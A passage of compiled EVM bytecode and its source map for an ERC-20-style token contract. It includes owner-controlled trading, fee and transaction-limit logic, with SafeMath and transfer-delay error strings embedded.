ffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161213391906129f6565b60405180910390a35b61218e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122356121e7828461277990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6122da848661277990919063ffffffff16565b6040516122e791906129f6565b60405180910390a350505050565b600083831115829061233d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233491906128b6565b60405180910390fd5b506000838561234c919061363b565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123915761239061366f565b5b6040519080825280602002602001820160405280156123bf5781602001602082028036833780820191505090505b50905030816000815181106123d7576123d661369e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561247e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a29190612ea7565b816001815181106124b6576124b561369e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251d30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611792565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161258195949392919061378b565b600060405180830381600087803b15801561259b57600080fd5b505af11580156125af573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561263a573d6000803e3d6000fd5b5050565b600080830361265057600090506126b2565b6000828461265e9190612d78565b905082848261266d9190613814565b146126ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a4906138b7565b60405180910390fd5b809150505b92915050565b60006126fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127c3565b905092915050565b60008183116127115782612713565b815b905092915050565b600080828461272a9190613553565b90508381101561276f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276690613923565b60405180910390fd5b8091505092915050565b60006127bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122f5565b905092915050565b6000808311829061280a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280191906128b6565b60405180910390fd5b50600083856128199190613814565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612860578082015181840152602081019050612845565b60008484015250505050565b6000601f19601f8301169050919050565b600061288882612826565b6128928185612831565b93506128a2818560208601612842565b6128ab8161286c565b840191505092915050565b600060208201905081810360008301526128d0818461287d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612908826128dd565b9050919050565b612918816128fd565b811461292357600080fd5b50565b6000813590506129358161290f565b92915050565b6000819050919050565b61294e8161293b565b811461295957600080fd5b50565b60008135905061296b81612945565b92915050565b60008060408385031215612988576129876128d8565b5b600061299685828601612926565b92505060206129a78582860161295c565b9150509250929050565b60008115159050919050565b6129c6816129b1565b82525050565b60006020820190506129e160008301846129bd565b92915050565b6129f08161293b565b82525050565b6000602082019050612a0b60008301846129e7565b92915050565b600080600060608486031215612a2a57612a296128d8565b5b6000612a3886828701612926565b9350506020612a4986828701612926565b9250506040612a5a8682870161295c565b9150509250925092565b600060ff82169050919050565b612a7a81612a64565b82525050565b6000602082019050612a956000830184612a71565b92915050565b600060208284031215612ab157612ab06128d8565b5b6000612abf84828501612926565b91505092915050565b600060208284031215612ade57612add6128d8565b5b6000612aec8482850161295c565b91505092915050565b612afe816128fd565b82525050565b6000602082019050612b196000830184612af5565b92915050565b612b28816129b1565b8114612b3357600080fd5b50565b600081359050612b4581612b1f565b92915050565b60008060408385031215612b6257612b616128d8565b5b6000612b7085828601612926565b9250506020612b8185828601612b36565b9150509250929050565b60008060408385031215612ba257612ba16128d8565b5b6000612bb085828601612926565b9250506020612bc185828601612926565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612c5157808604811115612c2d57612c2c612bcb565b5b6001851615612c3c5780820291505b8081029050612c4a85612bfa565b9450612c11565b94509492505050565b600082612c6a5760019050612d26565b81612c785760009050612d26565b8160018114612c8e5760028114612c9857612cc7565b6001915050612d26565b60ff841115612caa57612ca9612bcb565b5b8360020a915084821115612cc157612cc0612bcb565b5b50612d26565b5060208310610133831016604e8410600b8410161715612cfc5782820a905083811115612cf757612cf6612bcb565b5b612d26565b612d098484846001612c07565b92509050818404811115612d2057612d1f612bcb565b5b81810290505b9392505050565b6000612d388261293b565b9150612d4383612a64565b9250612d707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c5a565b905092915050565b6000612d838261293b565b9150612d8e8361293b565b9250828202612d9c8161293b565b91508282048414831517612db357612db2612bcb565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612df0602083612831565b9150612dfb82612dba565b602082019050919050565b60006020820190508181036000830152612e1f81612de3565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612e5c601783612831565b9150612e6782612e26565b602082019050919050565b60006020820190508181036000830152612e8b81612e4f565b9050919050565b600081519050612ea18161290f565b92915050565b600060208284031215612ebd57612ebc6128d8565b5b6000612ecb84828501612e92565b91505092915050565b6000604082019050612ee96000830185612af5565b612ef66020830184612af5565b9392505050565b6000819050919050565b6000819050919050565b6000612f2c612f27612f2284612efd565b612f07565b61293b565b9050919050565b612f3c81612f11565b82525050565b600060c082019050612f576000830189612af5565b612f6460208301886129e7565b612f716040830187612f33565b612f7e6060830186612f33565b612f8b6080830185612af5565b612f9860a08301846129e7565b979650505050505050565b600081519050612fb281612945565b92915050565b600080600060608486031215612fd157612fd06128d8565b5b6000612fdf86828701612fa3565b9350506020612ff086828701612fa3565b925050604061300186828701612fa3565b9150509250925092565b60006040820190506130206000830185612af5565b61302d60208301846129e7565b9392505050565b60008151905061304381612b1f565b92915050565b60006020828403121561305f5761305e6128d8565b5b600061306d84828501613034565b91505092915050565b60006020828403121561308c5761308b6128d8565b5b600061309a84828501612fa3565b91505092915050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006130d9600983612831565b91506130e4826130a3565b602082019050919050565b60006020820190508181036000830152613108816130cc565b9050919050565b600081905092915050565b50565b600061312a60008361310f565b91506131358261311a565b600082019050919050565b600061314b8261311d565b9150819050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131b1602483612831565b91506131bc82613155565b604082019050919050565b600060208201905081810360008301526131e0816131a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613243602283612831565b915061324e826131e7565b604082019050919050565b6000602082019050818103600083015261327281613236565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132d5602583612831565b91506132e082613279565b604082019050919050565b60006020820190508181036000830152613304816132c8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613367602383612831565b91506133728261330b565b604082019050919050565b600060208201905081810360008301526133968161335a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006133f9602983612831565b91506134048261339d565b604082019050919050565b60006020820190508181036000830152613428816133ec565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006134b1604983612831565b91506134bc8261342f565b606082019050919050565b600060208201905081810360008301526134e0816134a4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061351d601983612831565b9150613528826134e7565b602082019050919050565b6000602082019050818103600083015261354c81613510565b9050919050565b600061355e8261293b565b91506135698361293b565b925082820190508082111561358157613580612bcb565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006135bd601a83612831565b91506135c882613587565b602082019050919050565b600060208201905081810360008301526135ec816135b0565b9050919050565b60006135fe8261293b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136305761362f612bcb565b5b600182019050919050565b60006136468261293b565b91506136518361293b565b925082820390508181111561366957613668612bcb565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613702816128fd565b82525050565b600061371483836136f9565b60208301905092915050565b6000602082019050919050565b6000613738826136cd565b61374281856136d8565b935061374d836136e9565b8060005b8381101561377e5781516137658882613708565b975061377083613720565b925050600181019050613751565b5085935050505092915050565b600060a0820190506137a060008301886129e7565b6137ad6020830187612f33565b81810360408301526137bf818661372d565b90506137ce6060830185612af5565b6137db60808301846129e7565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061381f8261293b565b915061382a8361293b565b92508261383a576138396137e5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138a1602183612831565b91506138ac82613845565b604082019050919050565b600060208201905081810360008301526138d081613894565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061390d601b83612831565b9150613918826138d7565b602082019050919050565b6000602082019050818103600083015261393c81613900565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d87fed58cc94f2a0fa0a6c2f209988d094da5363fa0222809c258f4edf00f42d64736f6c63430008110033
Deployed Bytecode Sourcemap
3875:10328:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6058:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6941:186;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5102:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6335:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7135:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6244:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12979:366;;;;;;;;;;;;;:::i;:::-;;6438:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2900:148;;;;;;;;;;;;;:::i;:::-;;13807:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11568:201;;;;;;;;;;;;;:::i;:::-;;4907:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2686:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4970:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6149:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6565:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5035:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14069:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4261:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11877:1057;;;;;;;;;;;;;:::i;:::-;;13544:255;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6765:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13936:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13353:183;;;;;;;;;;;;;:::i;:::-;;6058:83;6095:13;6128:5;;;;;;;;;;;;;;;;;6121:12;;6058:83;:::o;6941:186::-;7041:4;7058:39;7067:12;:10;:12::i;:::-;7081:7;7090:6;7058:8;:39::i;:::-;7115:4;7108:11;;6941:186;;;;:::o;5102:54::-;;;;:::o;6335:95::-;6388:7;4714:2;4771;:15;;;;:::i;:::-;4758:10;:28;;;;:::i;:::-;6408:14;;6335:95;:::o;7135:446::-;7267:4;7284:36;7294:6;7302:9;7313:6;7284:9;:36::i;:::-;7331:220;7354:6;7375:12;:10;:12::i;:::-;7402:138;7458:6;7402:138;;;;;;;;;;;;;;;;;:11;:19;7414:6;7402:19;;;;;;;;;;;;;;;:33;7422:12;:10;:12::i;:::-;7402:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7331:8;:220::i;:::-;7569:4;7562:11;;7135:446;;;;;:::o;6244:83::-;6285:5;4714:2;6303:16;;6244:83;:::o;12979:366::-;13045:10;;;;;;;;;;;13029:26;;:12;:10;:12::i;:::-;:26;;;13021:35;;;;;;13067:20;13090:24;13108:4;13090:9;:24::i;:::-;13067:47;;13144:1;13129:12;:16;13125:79;;;13162:30;13179:12;13162:16;:30::i;:::-;13125:79;13214:18;13235:21;13214:42;;13284:1;13271:10;:14;13267:71;;;13302:24;13315:10;13302:12;:24::i;:::-;13267:71;13010:335;;12979:366::o;6438:119::-;6504:7;6531:9;:18;6541:7;6531:18;;;;;;;;;;;;;;;;6524:25;;6438:119;;;:::o;2900:148::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3007:1:::1;2970:40;;2991:6;::::0;::::1;;;;;;;;2970:40;;;;;;;;;;;;3038:1;3021:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2900:148::o:0;13807:121::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13910:10:::1;13895:12;:25;;;;13807:121:::0;:::o;11568:201::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4714:2:::1;4771;:15;;;;:::i;:::-;4758:10;:28;;;;:::i;:::-;11622:12;:22;;;;4714:2;4771;:15;;;;:::i;:::-;4758:10;:28;;;;:::i;:::-;11655:14;:24;;;;11713:5;11690:20;;:28;;;;;;;;;;;;;;;;;;11734:27;4714:2;4771;:15;;;;:::i;:::-;4758:10;:28;;;;:::i;:::-;11734:27;;;;;;:::i;:::-;;;;;;;;11568:201::o:0;4907:56::-;;;;:::o;2686:79::-;2724:7;2751:6;;;;;;;;;;;2744:13;;2686:79;:::o;4970:58::-;;;;:::o;6149:87::-;6188:13;6221:7;;;;;;;;;;;;;;;;;6214:14;;6149:87;:::o;6565:192::-;6668:4;6685:42;6695:12;:10;:12::i;:::-;6709:9;6720:6;6685:9;:42::i;:::-;6745:4;6738:11;;6565:192;;;;:::o;5035:60::-;;;;:::o;14069:131::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14184:8:::1;14154:18;:27;14173:7;14154:27;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;14069:131:::0;;:::o;4261:40::-;;;;;;;;;;;;;:::o;11877:1057::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11939:11:::1;::::0;::::1;;;;;;;;11938:12;11930:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;12040:42;11989:15;;:104;;;;;;;;;;;;;;;;;;12104:58;12121:4;12136:15;;;;;;;;;;;4714:2;4771;:15;;;;:::i;:::-;4758:10;:28;;;;:::i;:::-;12104:8;:58::i;:::-;12207:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12189:55;;;12267:4;12287:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12189:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12173:13;;:147;;;;;;;;;;;;;;;;;;12352:1;12335:14;:18;;;;12382:1;12364:15;:19;;;;12395:15;;;;;;;;;;;:31;;;12434:21;12479:4;12499:24;12517:4;12499:9;:24::i;:::-;12538:1;12554::::0;12570:7:::1;:5;:7::i;:::-;12592:15;12395:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12646:2;12629:14;:19;;;;12677:2;12659:15;:20;;;;12697:13;;;;;;;;;;;12690:29;;;12728:15;;;;;;;;;;;12746:14;12690:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12779:13;;;;;;;;;;;12772:30;;;12811:7;:5;:7::i;:::-;12828:13;;;;;;;;;;;12821:31;;;12861:4;12821:46;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12772:96;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12893:4;12879:11;;:18;;;;;;;;;;;;;;;;;;12922:4;12908:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;11877:1057::o:0;13544:255::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13661:1:::1;13629:3;13622:21;;;13652:4;13622:36;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:40;13614:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;13687:14;13711:3;13704:21;;;13734:4;13704:36;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13687:53;;13758:3;13751:20;;;13772:10;13784:6;13751:40;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13603:196;13544:255:::0;:::o;6765:168::-;6871:7;6898:11;:18;6910:5;6898:18;;;;;;;;;;;;;;;:27;6917:7;6898:27;;;;;;;;;;;;;;;;6891:34;;6765:168;;;;:::o;13936:125::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14042:11:::1;14026:13;:27;;;;13936:125:::0;:::o;13353:183::-;2823:12;:10;:12::i;:::-;2813:22;;:6;;;;;;;;;;:22;;;2805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13409:12:::1;13454:10;13446:24;;13478:21;13446:82;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13432:96;;;;;13398:138;13353:183::o:0;221:98::-;274:7;301:10;294:17;;221:98;:::o;7589:335::-;7699:1;7682:19;;:5;:19;;;7674:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7780:1;7761:21;;:7;:21;;;7753:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7862:6;7832:11;:18;7844:5;7832:18;;;;;;;;;;;;;;;:27;7851:7;7832:27;;;;;;;;;;;;;;;:36;;;;7900:7;7884:32;;7893:5;7884:32;;;7909:6;7884:32;;;;;;:::i;:::-;;;;;;;;7589:335;;;:::o;7932:3022::-;8036:1;8020:18;;:4;:18;;;8012:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8113:1;8099:16;;:2;:16;;;8091:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8183:1;8174:6;:10;8166:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8241:17;8287:7;:5;:7::i;:::-;8279:15;;:4;:15;;;;:32;;;;;8304:7;:5;:7::i;:::-;8298:13;;:2;:13;;;;8279:32;8275:2308;;;8340:216;8552:3;8340:189;8410:17;;8392:15;:35;8391:119;;8496:14;;8391:119;;;8456:12;;8391:119;8340:6;:28;;:189;;;;:::i;:::-;:211;;:216;;;;:::i;:::-;8328:228;;8577:20;;;;;;;;;;;8573:522;;;8658:15;;;;;;;;;;;8644:30;;:2;:30;;;;:83;;;;;8713:13;;;;;;;;;;;8699:28;;:2;:28;;;;8644:83;8618:462;;;8846:12;8804:28;:39;8833:9;8804:39;;;;;;;;;;;;;;;;:54;8770:213;;;;;;;;;;;;:::i;:::-;;;;;;;;;9048:12;9006:28;:39;9035:9;9006:39;;;;;;;;;;;;;;;:54;;;;8618:462;8573:522;9141:13;;;;;;;;;;;9133:21;;:4;:21;;;:72;;;;;9189:15;;;;;;;;;;;9175:30;;:2;:30;;;;9133:72;:116;;;;;9227:18;:22;9246:2;9227:22;;;;;;;;;;;;;;;;;;;;;;;;;9226:23;9133:116;9111:438;;;9302:12;;9292:6;:22;;9284:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9419:14;;9409:6;9393:13;9403:2;9393:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9363:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;9522:9;;:11;;;;;;;;;:::i;:::-;;;;;;9111:438;9575:13;;;;;;;;;;;9569:19;;:2;:19;;;:44;;;;;9608:4;9592:21;;:4;:21;;;;9569:44;9565:339;;;9646:242;9884:3;9646:211;9724:17;;9706:15;:35;9705:129;;9819:15;;9705:129;;;9774:13;;9705:129;9646:6;:32;;:211;;;;:::i;:::-;:237;;:242;;;;:::i;:::-;9634:254;;9565:339;9920:28;9951:24;9969:4;9951:9;:24::i;:::-;9920:55;;10013:6;;;;;;;;;;;10012:7;:47;;;;;10046:13;;;;;;;;;;;10040:19;;:2;:19;;;10012:47;:79;;;;;10080:11;;;;;;;;;;;10012:79;:140;;;;;10135:17;;10112:20;:40;10012:140;:191;;;;;10185:18;;10173:9;;:30;10012:191;9990:582;;;10238:109;10277:51;10281:6;10289:38;10293:20;10315:11;;10289:3;:38::i;:::-;10277:3;:51::i;:::-;10238:16;:109::i;:::-;10366:26;10395:21;10366:50;;10460:17;10439:18;:38;10435:122;;;10502:35;10515:21;10502:12;:35::i;:::-;10435:122;10219:353;9990:582;8313:2270;8275:2308;10611:1;10599:9;:13;10595:172;;;10656:39;10685:9;10656;:24;10674:4;10656:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;10629:9;:24;10647:4;10629:24;;;;;;;;;;;;;;;:66;;;;10738:4;10715:40;;10724:4;10715:40;;;10745:9;10715:40;;;;;;:::i;:::-;;;;;;;;10595:172;10795:27;10815:6;10795:9;:15;10805:4;10795:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;10777:9;:15;10787:4;10777:15;;;;;;;;;;;;;;;:45;;;;10849:40;10867:21;10878:9;10867:6;:10;;:21;;;;:::i;:::-;10849:9;:13;10859:2;10849:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;10833:9;:13;10843:2;10833:13;;;;;;;;;;;;;;;:56;;;;10920:2;10905:41;;10914:4;10905:41;;;10924:21;10935:9;10924:6;:10;;:21;;;;:::i;:::-;10905:41;;;;;;:::i;:::-;;;;;;;;8001:2953;7932:3022;;;:::o;1488:224::-;1608:7;1641:1;1636;:6;;1644:12;1628:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1668:9;1684:1;1680;:5;;;;:::i;:::-;1668:17;;1703:1;1696:8;;;1488:224;;;;;:::o;11077:483::-;5449:4;5440:6;;:13;;;;;;;;;;;;;;;;;;11155:21:::1;11193:1;11179:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11155:40;;11224:4;11206;11211:1;11206:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11250:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11240:4;11245:1;11240:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11283:62;11300:4;11315:15;;;;;;;;;;;11333:11;11283:8;:62::i;:::-;11356:15;;;;;;;;;;;:66;;;11437:11;11463:1;11479:4;11506;11526:15;11356:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11144:416;5485:5:::0;5476:6;;:14;;;;;;;;;;;;;;;;;;11077:483;:::o;11777:92::-;11834:10;;;;;;;;;;;:19;;:27;11854:6;11834:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11777:92;:::o;1720:246::-;1778:7;1807:1;1802;:6;1798:47;;1832:1;1825:8;;;;1798:47;1855:9;1871:1;1867;:5;;;;:::i;:::-;1855:17;;1900:1;1895;1891;:5;;;;:::i;:::-;:10;1883:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1957:1;1950:8;;;1720:246;;;;;:::o;1974:132::-;2032:7;2059:39;2063:1;2066;2059:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2052:46;;1974:132;;;;:::o;10962:107::-;11019:7;11051:1;11047;:5;11046:15;;11060:1;11046:15;;;11056:1;11046:15;11039:22;;10962:107;;;;:::o;1157:179::-;1215:7;1235:9;1251:1;1247;:5;;;;:::i;:::-;1235:17;;1276:1;1271;:6;;1263:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1327:1;1320:8;;;1157:179;;;;:::o;1344:136::-;1402:7;1429:43;1433:1;1436;1429:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1422:50;;1344:136;;;;:::o;2114:223::-;2234:7;2266:1;2262;:5;2269:12;2254:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2293:9;2309:1;2305;:5;;;;:::i;:::-;2293:17;;2328:1;2321:8;;;2114:223;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;